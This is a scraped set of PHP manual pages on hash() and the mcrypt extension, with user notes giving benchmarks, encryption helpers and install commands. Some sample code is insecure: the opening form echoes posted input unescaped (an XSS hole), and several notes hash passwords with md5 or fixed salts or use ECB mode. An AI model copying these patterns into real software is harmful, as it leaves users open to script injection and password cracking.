/* Get the posted value of the form if there is one */
$p = empty($_POST['p']) ? null : $_POST['p'];
?>
<html>
<head><title>Hash testing</title></head>
<style type="text/css">
    table {border-collapse: collapse;}
    table, td, th {border: solid 1px #ccc;}
    th {background: #e1e1e1;border-color: #999;}
    td, th {padding: 0.25em;}
    td.algo {font-weight: bold;}
    tr.on td {background: #f0f0f0;}
</style>
<body>
    <h1>String hashing</h1>
    <form method="post" action="<?php echo basename(__FILE__) ?>">
        <p><label for="p">Enter a string to hash:</label><br /><input id="p" type="text" name="p" value="<?php echo $p ?>" /></p>
        <p><input type="submit" name="submit" value="Hash It" /></p>
    </form>

    <?php /* If there is a posted value use it */ ?>
    <?php if ($p): ?>
    <hr />
    <h2>Table of hash values for <em><?php echo $p ?></em> based on algorithm</h2>
    <table>
        <tr>
            <th>Algorithm</th>
            <th>Hashed value of <em><?php echo $p ?></em></th>
        </tr>
        <?php /* Loop through each hash algorithm, colorizing every other row */ ?>
        <?php $on = false; foreach (hash_algos() as $algo): ?>
        <tr<?php if ($on): ?> class="on"<?php endif; ?>>
            <td class="algo"><?php echo $algo ?></td>
            <td class="hash"><?php echo hash($algo, $p) ?></td>
        </tr>
    <?php $on = !$on; endforeach; ?>
    </table>
    <?php endif; ?>
</body>
</html>
Kai Petzke 16-Oct-2009 02:14
The well known hash functions MD5 and SHA1 should be avoided in new applications. Collission attacks against MD5 are well documented in the cryptographics literature and have already been demonstrated in practice. Therefore, MD5 is no longer secure for certain applications.

Collission attacks against SHA1 have also been published, though they still require computing power, which is somewhat out of scope. As computing power increases with time and the attacks are likely to get better, too, attacks against systems relying on SHA1 for security are likely to become feasible within the next few years.

There is no lack of potential alternative hash algorithms, as the many choices for the "algo" argument of PHPs hash() function already suggests. Unfortunately, there is lack of analysis, as to how secure these alternative algorithms are. It is rather safe to assume, though, that the SHA2 family with its most prominent members SHA-256 und SHA-512, is better than SHA1.

When storing password hashes, it is a good idea to prefix a salt to the password before hashing, to avoid the same passwords to hash to the same values and to avoid the use of rainbow tables for password recovery. Unlike suggested in other articles, there is no security advantage in putting the salt in the middle, or even at both the beginning and the end, of the combined salt-password-string.

Rather, there are two other factors, that determine the strength of the salt: Its length and its variability. For example, using the same salt for all passwords is easy to implement, but gives only very little additional security. In particular, if users type the same passwords, they will still hash to the same value!

Therefore, the salt should be random string with at least as many variable bits, as there are bits in the hash result. In the user database, store username, the randomly generated salt for that user, and the result of hashing the salt-password-string. Access authentication is then done by looking up the entry for the user, calculating the hash of the salt found in the database and the password provided by the user, and comparing the result with the one stored in the database.
luka8088 at gmail dot com 14-Mar-2009 12:20
Performance test results on my laptop:
Results are here shorten to fit php web notes ...
This was tested with 1024000 bytes (1000 KB) of random data, md4 always gets the first place, and md2 always get the last place :)

Results: (in microseconds)
   1.  md4                           5307.912
   2.  md5                           6890.058
   3.  crc32b                        7298.946
   4.  crc32                         7561.922
   5.  sha1                          8886.098
   6.  tiger128,3                    11054.992
   7.  haval192,3                    11132.955
   8.  haval224,3                    11160.135
   9.  tiger160,3                    11162.996
  10.  haval160,3                    11242.151
  11.  haval256,3                    11327.981
  12.  tiger192,3                    11630.058
  13.  haval128,3                    11880.874
  14.  tiger192,4                    14776.945
  15.  tiger128,4                    14871.12
  16.  tiger160,4                    14946.937
  17.  haval160,4                    15661.954
  18.  haval192,4                    15717.029
  19.  haval256,4                    15759.944
  20.  adler32                       15796.184
  21.  haval128,4                    15887.022
  22.  haval224,4                    16047.954
  23.  ripemd256                     16245.126
  24.  haval160,5                    17818.927
  25.  haval128,5                    17887.115
  26.  haval224,5                    18085.002
  27.  haval192,5                    18135.07
  28.  haval256,5                    18678.903
  29.  sha256                        19020.08
  30.  ripemd128                     20671.844
  31.  ripemd160                     21853.923
  32.  ripemd320                     22425.889
  33.  sha384                        45102.119
  34.  sha512                        45655.965
  35.  gost                          57237.148
  36.  whirlpool                     64682.96
  37.  snefru                        80352.783
  38.  md2                           705397.844

Code for generating this:
(compatible both with browser and cli mode)

<pre>

<?php

echo 'Building random data ...' . PHP_EOL;
@ob_flush();flush();

$data = '';
for ($i = 0; $i < 64000; $i++)
    $data .= hash('md5', rand(), true);

echo strlen($data) . ' bytes of random data built !' . PHP_EOL . PHP_EOL . 'Testing hash algorithms ...' . PHP_EOL;
@ob_flush();flush();

$results = array();
foreach (hash_algos() as $v) {
    echo $v . PHP_EOL;
    @ob_flush();flush();
    $time = microtime(true);
    hash($v, $data, false);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (hex)";
    $time = microtime(true);
    hash($v, $data, true);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (raw)";
}

ksort($results);

echo PHP_EOL . PHP_EOL . 'Results: ' . PHP_EOL;

$i = 1;
foreach ($results as $k => $v)
    foreach ($v as $k1 => $v1)
        echo ' ' . str_pad($i++ . '.', 4, ' ', STR_PAD_LEFT) . '  ' . str_pad($v1, 30, ' ') . ($k / 1000) . ' microseconds' . PHP_EOL;

?>

</pre>
kevin at bionichippo dot com 14-Mar-2009 09:06
When using hash() for storing passwords, I've found that the best practice is not to use just one salt, but two. This example uses my preferred algorithm for passwords, whirlpool.

This way, even if someone can produce a rainbow table for your algorithm, and has the salt to do it with, they will never know where in the hash parameter the second salt was placed, because they don't know the length of the actual password.

<?php

function doubleSalt($toHash,$username){
$password = str_split($toHash,(strlen($toHash)/2)+1);
var_dump($password);
$hash = hash('md5', $username.$password[0].'centerSalt'.$password[1]);
return $hash;
}

?>

The str_split operation needs a +1 appended, otherwise the last character is cut off when the password is an odd number of characters, so that pass1 and pass2 will return the same value.

[NOTE BY danbrown AT php DOT net: Bug spotted by (Sunil) on 13-Mar-2009 and fix applied by OP.]
Leigh 06-Aug-2008 07:10
Just a quick note about these benchmarks and how you should apply them.

If you are hashing passwords etc for security, speed is not your friend. You should use the slowest method.

Slow to hash means slow to crack and will hopefully make generating things like rainbow tables more trouble than it's worth.
The 28-May-2008 12:52
Note that some of the hash algorithms provided are considered weak (e.g., md5, sha1 and haval128,3). If you have a choice in the matter, use ripemd160, whirlpool or tiger192,4.
inspiration3 at gmail dot com 04-May-2008 05:12
Another comprehensive benchmark script that orders results from best to worst and includes the crc32(), md5() and sha1() standalone functions:

<?php

define('HASH_TIMES', 1000);
define('HASH_DATA', 'The quick brown fox jumped over!'); // 32 bytes

header('Content-Type: text/plain');
echo 'Testing ' . strlen(HASH_DATA) . ' bytes of data over ' . HASH_TIMES . " iterations:\n";

foreach (hash_algos() as $algo) {
    $time = microtime(1);
    for ($i = 0; $i < HASH_TIMES; $i++) hash($algo, HASH_DATA);
    $results[$algo] = microtime(1) - $time;
}

$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) crc32(HASH_DATA); $results['crc32()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) md5(HASH_DATA); $results['md5()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) sha1(HASH_DATA); $results['sha1()'] = microtime(1) - $time;

asort($results, SORT_NUMERIC);
foreach ($results as $algo => $time) echo "\n$time\t$algo";

?>
Marcus 27-Apr-2008 02:15
A upgrade of (dani88elx AT gmail DOT com)'s performance test [from 26-Jun-2007], this time grading them by speed (fastest first) and comparing times between hex and raw data.

<?php
function testAlgos() {
$algos = hash_algos();
$word="This will be crypted by all different algoritms";
$results = array();
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, false);
    $results["".(microtime(1)-$time)][] = "$algo (hex)";
}
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, true);
    $results["".(microtime(1)-$time)][] = "$algo (raw)";
}
ksort($results);
foreach($results as $time => &$algos) {
    echo $time."\n";
    sort($algos);
    foreach($algos as $algo)
        echo "\t".$algo."\n";
}
}
testAlgos();
?>
mikael at webhost3 dot eu 10-Mar-2007 02:34
<?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', 'string');
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5('string');
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', 'string');
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1('string');
echo microtime(1)-$time,': sha1<br>';
?>------------------------<br><?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', $i);
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5($i);
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', $i);
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1($i);
echo microtime(1)-$time,': sha1<br>';
?>
Gives:
0.33311605453491: hash/md5
1.0671429634094: md5
0.383131980896: hash/sha1
1.3252220153809: sha1
------------------------
0.37684988975525: hash/md5
1.1258299350739: md5
0.43960785865784: hash/sha1
1.3876020908356: sha1


Mcrypt

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mcrypt ciphers
  • Examples
  • Mcrypt Functions
    • mcrypt_cbc — Encrypts/decrypts data in CBC mode
    • mcrypt_cfb — Encrypts/decrypts data in CFB mode
    • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
    • mcrypt_decrypt — Decrypts crypttext with given parameters
    • mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode
    • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
    • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
    • mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm
    • mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode
    • mcrypt_enc_get_modes_name — Returns the name of the opened mode
    • mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
    • mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks
    • mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm
    • mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks
    • mcrypt_enc_self_test — Runs a self test on the opened module
    • mcrypt_encrypt — Encrypts plaintext with given parameters
    • mcrypt_generic_deinit — This function deinitializes an encryption module
    • mcrypt_generic_end — This function terminates encryption
    • mcrypt_generic_init — This function initializes all buffers needed for encryption
    • mcrypt_generic — This function encrypts data
    • mcrypt_get_block_size — Gets the block size of the specified cipher
    • mcrypt_get_cipher_name — Gets the name of the specified cipher
    • mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination
    • mcrypt_get_key_size — Gets the key size of the specified cipher
    • mcrypt_list_algorithms — Gets an array of all supported ciphers
    • mcrypt_list_modes — Gets an array of all supported modes
    • mcrypt_module_close — Closes the mcrypt module
    • mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm
    • mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode
    • mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
    • mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not
    • mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm
    • mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not
    • mcrypt_module_open — Opens the module of the algorithm and the mode to be used
    • mcrypt_module_self_test — This function runs a self test on the specified module
    • mcrypt_ofb — Encrypts/decrypts data in OFB mode
    • mdecrypt_generic — Decrypts data

User Contributed Notes

Anonymous 13-Feb-2012 07:35
These are two simple functions I built for 256-bit encryption/decryption with mcrypt.  I've decided to use MCRYPT_RIJNDAEL_128 because it's AES-compliant, and MCRYPT_MODE_CBC.  (ECB mode is inadequate for many purposes because it does not use an IV.)

This function stores a hash of the data to verify that the data was decrypted successfully, but this could be easily removed if necessary.

<?php
function encrypt($decrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Build $iv and $iv_base64.  We use a block size of 128 bits (AES compliant) and CBC mode.  (Note: ECB mode is inadequate as IV is not used.)
 srand(); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND);
 if (strlen($iv_base64 = rtrim(base64_encode($iv), '=')) != 22) return false;
 // Encrypt $decrypted and an MD5 of $decrypted using $key.  MD5 is fine to use here because it's just to verify successful decryption.
 $encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $decrypted . md5($decrypted), MCRYPT_MODE_CBC, $iv));
 // We're done!
 return $iv_base64 . $encrypted;
 }

function decrypt($encrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Retrieve $iv which is the first 22 characters plus ==, base64_decoded.
 $iv = base64_decode(substr($encrypted, 0, 22) . '==');
 // Remove $iv from $encrypted.
 $encrypted = substr($encrypted, 22);
 // Decrypt the data.  rtrim won't corrupt the data because the last 32 characters are the md5 hash; thus any \0 character has to be padding.
 $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($encrypted), MCRYPT_MODE_CBC, $iv), "\0\4");
 // Retrieve $hash which is the last 32 characters of $decrypted.
 $hash = substr($decrypted, -32);
 // Remove the last 32 characters from $decrypted.
 $decrypted = substr($decrypted, 0, -32);
 // Integrity check.  If this fails, either the data is corrupted, or the password/salt was incorrect.
 if (md5($decrypted) != $hash) return false;
 // Yay!
 return $decrypted;
 }
?>
ysfbauchi at yahoo dot com 20-Feb-2011 07:25
//This is a des, 3des, aes and gost encryption program i wrote using php for my assignment

<?php
    if (isset($_REQUEST['select'])) {
    $choice = $_POST['select'];
      $mykey = $_POST['mykey'];
    $msg = $_POST['plain'];
    } else {
    die("algorithm not selected");
      }

    if ($msg == ''){
        die("Please enter a text to encrypt! ");
        }
    if ($mykey == ''){
        die("Please enter a key! ");
        }

    function algorithmdetails($cipher)
    {
        $chiphername = mcrypt_enc_get_algorithms_name($cipher);
        $blocksize = mcrypt_enc_get_block_size($cipher);
        $mykeysize = mcrypt_enc_get_supported_key_sizes($cipher);
        echo "<p><b>Cipher Name :</b> $chiphername";
        echo "<p><b>Block size :</b> $blocksize bytes";
        echo "<p><b>Key size :</b> ";
        foreach ($mykeysize as $value)
        {
        echo "$value bytes ";
        }unset($value);
    }

    function encryptnow($thecipher, $thekey, $themsg)
    {
        $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($thecipher), MCRYPT_DEV_RANDOM);
        mcrypt_generic_init($thecipher, $thekey, $iv);
        $encrypted_text = mcrypt_generic($thecipher, $themsg);
        echo "<html><hr size='2' ></html>";
        echo "<P><P><b>Plain Text : </b>";
        echo($themsg);
        echo "<p><b>Cipher Text : </b> ";
        echo "$encrypted_text";
        mcrypt_generic_deinit($thecipher);
        mcrypt_module_close($thecipher);
        die();
    }

    if ($choice == '1'){
        $cipher = mcrypt_module_open (MCRYPT_DES, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '2'){
        $cipher = mcrypt_module_open (MCRYPT_3DES, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '3'){
        $cipher = mcrypt_module_open (MCRYPT_RIJNDAEL_128, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '4'){
        $cipher = mcrypt_module_open (MCRYPT_GOST, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }else {
        die("Please choose an algorithm!");
    }

?>
ghoffman at salientdigital dot com 23-Nov-2010 10:23
If you want a quick way to see what ciphers, modes, key, block and iv sizes are supported on your server, try something like the following.

Note: I used this simple bash: `locate libmcrypt` from terminal on Mac OS X to determine the install paths to the algorithms and modes directories. Lots of function calls generate warnings for certain ciphers, hence the use of error suppression.

<?php

$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
foreach($algorithms as $cipher)
{
    echo "<h1 style=\"border-top:1px solid black;\">".$cipher."</h1>\n";
    foreach($modes as $mode)
    {
        echo "<h3>".$mode."</h3>\n";
        @$td = mcrypt_module_open(
            $cipher,
            '/usr/local/libmcrypt-2.5.8/modules/algorithms/',
            $mode,
            '/usr/local/libmcrypt-2.5.8/modules/modes/');
        @$key_size = mcrypt_enc_get_key_size($td);
        @$block_size = mcrypt_get_block_size($cipher,$mode);
        @$iv_size = mcrypt_get_iv_size($cipher, $mode);
        @mcrypt_module_close($td);
        echo "
        <pre>
            key_size: ". ($key_size?$key_size:'n/a')
      ."    block_size: ". ($block_size?$block_size:'n/a')
      ."    iv_size: ". ($iv_size?$iv_size:'n/a')
      ."  </pre>\n";
        $td=NULL;
        $key_size=NULL;
        $block_size=NULL;
        $iv_size=NULL;
    }
}

?>
Maarten Malaise 11-Apr-2010 02:38
people using phpmyadmin are redirected to this manual if they don't have mcrypt installed. If you want to install mcrypt on debian, first check your php version:

yourserver# php --version

Then install the appropriate version of mcrypt (php5-mcrypt if your php version is 5.x)

yourserver# apt-get install php4-mcrypt
...or...
yourserver# apt-get install php5-mcrypt


Introduction

This is an interface to the mcrypt library, which supports a wide variety of block algorithms such as DES, TripleDES, Blowfish (default), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 and GOST in CBC, OFB, CFB and ECB cipher modes. Additionally, it supports RC6 and IDEA which are considered "non-free". CFB/OFB are 8bit by default.

User Contributed Notes

sujithayur at gmail dot com 17-Nov-2011 06:15
In linux systems,mcrypt is necessary for installing CMSes like majento. First You need to install the mcrypt library.

If using a Debian-based Linux system, you can run the following commands:

  sudo apt-get install php5-mcrypt

then restart the apache server

  sudo /etc/init.d/apache2 restart


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

softontherocks at gmail dot com 29-Oct-2014 01:22
If you found this problem installing in CentOS 6:

Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again

You should edit de file /etc/yum.repos.d/epel.repo and move https:// to http://.

In this link you can follow the basic steps to install it in CentOS 6:

http://softontherocks.blogspot.com/2014/09/instalar-libreria-mcrypt-de-php-en.html
cguzmana at gmail dot com 07-Oct-2014 05:24
Resolved my problem on Ubuntu 14.04:

$sudo apt-get install php5-mcrypt
$sudo php5enmod mcrypt
info at papoo dot de 11-Mar-2014 10:13
Same Problem on Linux Mint - Call to undefined function mcrypt_create_iv...

Solved by adding the folowing line to the php.ini
extension=mcrypt.so

After that a
service apache2 restart
solved it...

Have fun with it...
Jbud 25-Dec-2013 06:31
The following link solved my problem

[Tue Dec 24 12:42:33.003683 2013] [:error] [pid 8448] [client 127.0.0.1:33146] PHP Fatal error:  Call to undefined function mcrypt_decrypt() ...

http://stackoverflow.com/questions/4809611/problem-with-mcrypt-installation/20208943#20208943
BadOPCode 09-Oct-2013 01:32
Ubuntu 13.04:  Simply type 'sudo apt-get install php5-mcrypt'
It will install and restart Apache.  You are done.
z dot sadigli at gmail dot com 08-Oct-2013 04:22
Hi, I can't find extensions line for adding any extensions record into php.ini file How can I do this. Where can I find this place into php.ini file? Thanks
nsantana at NOSPAMS dot gmail dot com 19-Oct-2012 08:21
Using PHP version "PHP Version 5.3.10-1ubuntu3.4" and Ubuntu 12.0.4 on Apache2...

Make sure you have mcrypt installed and active on your php5 install. Use "sudo apt-get install php5-mcrypt" to install, that should sort the issue.
opensuse10 dot 3 at gmail dot com 11-Feb-2011 12:36
On opensuse 11.3 64 bits
/usr/lib64/php5/extensions
dork 11-May-2010 07:54
On ubuntu 8 (hardy), the mcrypt library seems to be here.

/usr/lib/php5/20060613/mcrypt.so

So I just created mcrypt.ini in /etc/php5/conf.d and added this one liner.

extension=mcrypt.so
bobeck at lycos dot com 06-Jan-2010 03:32
To make sure that mcrypt doesn't fail to load when
using Windows XP , Apache 2 and php 5, even if all the required procedure to install it has been accomplished already, copy libmcrypt.dll, which is normally in the php main directory, into the php\ext directory.
kmasaryk 15-Jul-2009 02:30
Also on Ubuntu, make sure you actually have php5-mcrypt installed. You can install it with:

sudo apt-get install php5-mcrypt

If you get any errors, you may need to enable the 'universe' repository, explained here:
https://help.ubuntu.com/community/Repositories/Ubuntu
rskret at gmail dot com 01-Mar-2009 01:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

I have done as suggested by the contributor before me and copied libmcrypt.dll from F:\wamp\bin\php\PHP52~1.8
to C:\WINDOWS\system32 . This did not work on it's own. I found other advice as follows and now mcrypt is working.

OTHER ADVICE:

Go to F:\wamp\bin\php\PHP52~1.8\php.ini
change ;extension=php_mcrypt.dll
to      extension=php_mcrypt.dll
(ie. remove ; )

now go to the following 2 files and do the same:
F:\wamp\bin\php\PHP52~1.8\phpForApache.ini
F:\wamp\bin\apache\APACHE~1.11\bin\php.ini

Please adjust the directory location per your own installation.
ch0wnag3 AT gmail DOT com 21-Jul-2008 11:16
On Windows installations, for the dynamic extension (extension=php_mcrypt.dll) to load properly, you must copy libmcrypt.dll from your PHP root folder (e.g. C:\PHP) to the following location:

C:\WINDOWS\system32

With this done, the dynamic extension will load up just fine.


Requirements

These functions work using » mcrypt. To use it, download libmcrypt-x.x.tar.gz from » http://mcrypt.sourceforge.net/ and follow the included installation instructions.

As of PHP 5.0.0 you will need libmcrypt Version 2.5.6 or greater.

Windows users will find the library is the PHP 5.2 Windows binaries release. PHP 5.3 Windows binaries uses the static version of the MCrypt library, no DLL are needed.

If you linked against libmcrypt 2.4.x or higher, the following additional block algorithms are supported: CAST, LOKI97, RIJNDAEL, SAFERPLUS, SERPENT and the following stream ciphers: ENIGMA (crypt), PANAMA, RC4 and WAKE. With libmcrypt 2.4.x or higher another cipher mode is also available; nOFB.

User Contributed Notes

jcwebb at dicoe dot com 09-Apr-2014 12:48
there are no instructions included with the sourceforge download.

After php 5.3 mcrypt is automatically included and enabled.
(i was looking to enable an extension)
Anonymous 22-May-2012 11:55
Both mcrypt and libmcrypt are available through the linked website.  You simply have to click the "Browse all files" or similar link once on the "development site" and not just look for the default Sourceforge download button.
Antoine 30-Nov-2010 02:53
mcrypt is built in for PHP 5.3.x on windows, you don't need to do anything with a dll anymore.
tom420 dot duhamel at gmail dot com 03-Feb-2009 06:55
If installing libmcrypt from RPM, you need both libmcrypt*.rpm and libmcrypt-devel*.rpm. I found RPMs for both were available for most platforms on this page:

http://rpmforge.net/user/packages/libmcrypt/

Also files.edin.dk does not seem to carry the win32 files anymore.


Installation

You need to compile PHP with the --with-mcrypt[=DIR] parameter to enable this extension. DIR is the mcrypt install directory. Make sure you compile libmcrypt with the option --disable-posix-threads .

User Contributed Notes

Polichism 02-Oct-2014 03:43
If you don't have a /etc/php5/conf.d directory, you can simply only do: php5enmod mcrypt

Should be working fine.
Tanner Williamson 02-Oct-2014 02:56
On Ubuntu 14.04 LTS using php5-fpm with Nginx, I had to symlink the mcrypt.ini to the correct location, and then restart php5-fpm and nginx.
#ln -s /etc/php5/mods-available/mcrypt.ini /etc/php5/fpm/conf.d/mcrypt.ini
#service php5-fpm restart
#service nginx restart
biz at svstartuplab dot com 01-Apr-2014 08:20
I needed to install mcrypt on Mac OS X Mavericks 10.9 for installing the Laravel 5 framework. I entered in the Terminal command line:

brew tap josegonzalez/homebrew-php
brew install php54 php54-mcrypt

This installed Mcrypt.  In Terminal type php -i to see a list of everything installed or for much better formatting and easier to read make a phpinfo.php page with this inside <?php phpinfo(); ?>

More help with installing on OS X:
http://stackoverflow.com/questions/14595841/installing-mcrypt-extension-for-php-on-osx-mountain-lion
Anonymous 12-Mar-2014 12:37
Note, for Ubuntu, simply installing php5-mcrypt did not get mcrypt to work. You need to execute the following commands as root to enable it:

apt-get install php5-mcrypt
mv -i /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-available/
php5enmod mcrypt
service apache2 restart
yazeed 30-Jul-2013 03:32
As of 2009, to install php mcrypt you must install Libmcrypt first. Libmcrypt can be installed like this:

cd /usr/local/src
wget http://softlayer.dl.sourceforge.net/sourceforge/mcrypt/libmcrypt-2.5.8.tar.gz
tar -zxvf libmcrypt-2.5.8.tar.gz
cd /usr/local/src/libmcrypt-2.5.8
./configure --prefix=/usr/local  --disable-posix-threads --enable-dynamic-loading
make
make install
sobit dot akhmedov at gmail dot com 14-May-2013 06:28
To install Mcrypt for PHP 5.3.x using Brew on Mac OS X, run the following command:

brew install php53-mcrypt
Nancy H 19-Apr-2013 03:50
To install php mcrypt you must install Libmcrypt first. Libmcrypt can be installed like this:

cd /usr/local/src
wget http://softlayer.dl.sourceforge.net/sourceforge/mcrypt/libmcrypt-2.5.8.tar.gz
tar -zxvf libmcrypt-2.5.8.tar.gz
cd /usr/local/src/libmcrypt-2.5.8
./configure --prefix=/usr/local
make
make install
trenton at rainleader dot com 04-Dec-2010 05:22
If using a Debian-based Linux system, you can run the following commands:

sudo apt-get install php5-mcrypt
sudo /etc/init.d/apache2 restart
james dot mclean at gmail dot com 13-Oct-2009 06:23
You can install Mcrypt from the PHP Source Tree as a module if you choose.

You first need to ensure you have libmcrypt, libmcrypt-devel, and mcrypt installed, then do:

# cd php-5.x.x/ext/mcrypt
# phpize
# aclocal
# ./configure
# make && make install

Enable the module by adding: 'extension=mcrypt.so' to PHP.ini.

Done!

Very handy if you need to install a single module and you may have installed PHP via RPM, but don't wish to recompile your whole PHP install.
OpenSourceVictim 16-Aug-2009 04:36
Mcrypt.dll should be included in the WINDOWS installer of PHP.
Or in the WINDOWS installer of phpmyadmin.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mcrypt configuration options
Name | Default | Changeable | Changelog
mcrypt.algorithms_dir | NULL | PHP_INI_ALL |
mcrypt.modes_dir | NULL | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mcrypt.algorithms_dir string

The directory that contains the algorithms. Defaults to the directories compiled within libmcrypt, which is typically /usr/local/lib/libmcrypt. See mcrypt_list_algorithms() for additional details.

mcrypt.modes_dir string

The directory that contains the modes. Defaults to the directories compiled within libmcrypt, which is typically /usr/local/lib/libmcrypt. See mcrypt_list_modes() for additional details.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

mcrypt_module_open() returns an encryption descriptor.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Mcrypt can operate in four block cipher modes (CBC, OFB, CFB, and ECB). If linked against libmcrypt-2.4.x or higher the functions can also operate in the block cipher mode nOFB and in STREAM mode. Below you find a list with all supported encryption modes together with the constants that are defined for the encryption mode. For a more complete reference and discussion see Applied Cryptography by Schneier (ISBN 0-471-11709-9).

  • MCRYPT_MODE_ECB (electronic codebook) is suitable for random data, such as encrypting other keys. Since data there is short and random, the disadvantages of ECB have a favorable negative effect.
  • MCRYPT_MODE_CBC (cipher block chaining) is especially suitable for encrypting files where the security is increased over ECB significantly.
  • MCRYPT_MODE_CFB (cipher feedback) is the best mode for encrypting byte streams where single bytes must be encrypted.
  • MCRYPT_MODE_OFB (output feedback, in 8bit) is comparable to CFB, but can be used in applications where error propagation cannot be tolerated. It's insecure (because it operates in 8bit mode) so it is not recommended to use it.
  • MCRYPT_MODE_NOFB (output feedback, in nbit) is comparable to OFB, but more secure because it operates on the block size of the algorithm.
  • MCRYPT_MODE_STREAM is an extra mode to include some stream algorithms like "WAKE" or "RC4".

Some other mode and random device constants:

MCRYPT_ENCRYPT (integer)
MCRYPT_DECRYPT (integer)
MCRYPT_DEV_RANDOM (integer)
MCRYPT_DEV_URANDOM (integer)
MCRYPT_RAND (integer)

User Contributed Notes

Andrey Andreev 06-Mar-2014 09:03
You can just use strings instead of the constants ... they are useless and lacking for other modes that are fully supported. Here's a list:

cbc
ecb
ofb
nofb
cfb
ncfb
ctr
stream
gordon at vixo dot com 03-Feb-2013 05:17
These constants don't cover all the possible options.

There are two constants:
MCRYPT_MODE_OFB
MCRYPT_MODE_NOFB

These relate to using OFB mode in 8-bit feedback mode and using the same feedback length as the key

There is one constant
MCRYPT_MODE_CFB which uses 8-bit feedback mode

There ought to be a constant
MCRYPT_MODE_NCFB which uses the same feedback length as the key.

In fact you can just use the option 'ncfb' in mycrypt


Mcrypt ciphers

Here is a list of ciphers which are currently supported by the mcrypt extension. For a complete list of supported ciphers, see the defines at the end of mcrypt.h. The general rule with the mcrypt-2.2.x API is that you can access the cipher from PHP with MCRYPT_ciphername. With the libmcrypt-2.4.x and libmcrypt-2.5.x API these constants also work, but it is possible to specify the name of the cipher as a string with a call to mcrypt_module_open().

  • MCRYPT_3DES
  • MCRYPT_ARCFOUR_IV (libmcrypt > 2.4.x only)
  • MCRYPT_ARCFOUR (libmcrypt > 2.4.x only)
  • MCRYPT_BLOWFISH
  • MCRYPT_CAST_128
  • MCRYPT_CAST_256
  • MCRYPT_CRYPT
  • MCRYPT_DES
  • MCRYPT_DES_COMPAT (libmcrypt 2.2.x only)
  • MCRYPT_ENIGMA (libmcrypt > 2.4.x only, alias for MCRYPT_CRYPT)
  • MCRYPT_GOST
  • MCRYPT_IDEA (non-free)
  • MCRYPT_LOKI97 (libmcrypt > 2.4.x only)
  • MCRYPT_MARS (libmcrypt > 2.4.x only, non-free)
  • MCRYPT_PANAMA (libmcrypt > 2.4.x only)
